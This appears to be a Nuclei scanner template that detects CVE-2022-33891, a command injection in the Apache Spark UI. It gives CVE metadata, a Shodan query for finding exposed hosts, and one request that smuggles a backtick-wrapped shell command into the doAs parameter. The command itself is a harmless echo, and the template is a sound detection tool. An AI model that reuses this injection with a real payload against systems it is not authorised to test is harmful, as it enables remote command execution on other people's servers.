48 lines
2.1 KiB
YAML
48 lines
2.1 KiB
YAML
id: CVE-2022-33891
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info:
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name: Apache Spark UI - Remote Command Injection
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author: princechaddha
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severity: high
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description: |
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Apache Spark UI is susceptible to remote command injection. ACLs can be enabled via the configuration option spark.acls.enable. With an authentication filter, this checks whether a user has access permissions to view or modify the application. If ACLs are enabled, a code path in HttpSecurityFilter can allow impersonation by providing an arbitrary user name. An attacker can potentially reach a permission check function that will ultimately build a Unix shell command based on input and execute it, resulting in arbitrary shell command execution. Affected versions are 3.0.3 and earlier, 3.1.1 to 3.1.2, and 3.2.0 to 3.2.1.
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remediation: |
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Apply the latest security patches or updates provided by Apache Spark to fix the remote command injection vulnerability.
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reference:
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- https://github.com/W01fh4cker/cve-2022-33891
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- https://lists.apache.org/thread/p847l3kopoo5bjtmxrcwk21xp6tjxqlc
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- http://packetstormsecurity.com/files/168309/Apache-Spark-Unauthenticated-Command-Injection.html
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- https://nvd.nist.gov/vuln/detail/CVE-2022-33891
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- http://www.openwall.com/lists/oss-security/2023/05/02/1
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 8.8
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cve-id: CVE-2022-33891
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cwe-id: CWE-78
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epss-score: 0.96535
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epss-percentile: 0.99489
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cpe: cpe:2.3:a:apache:spark:*:*:*:*:*:*:*:*
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metadata:
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verified: true
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max-request: 1
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vendor: apache
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product: spark
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shodan-query: title:"Spark Master at"
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tags: cve2022,apache,spark,authenticated,kev,packetstorm,cve
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variables:
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command: "echo CVE-2022-33891 | rev"
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http:
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- method: GET
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path:
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- '{{BaseURL}}/doAs?=`{{url_encode("{{command}}")}}`'
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- "19833-2202-EVC"
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# digest: 490a0046304402203e1aae9ee80bfb8f38444704ec1b54210c318b548dddc31a60c1437426c26e9202205c9aff46df4e48882575da8ba86ca7305720458bb3c00f91352c5e2f4e3db3df:922c64590222798bb761d5b6d8e72950
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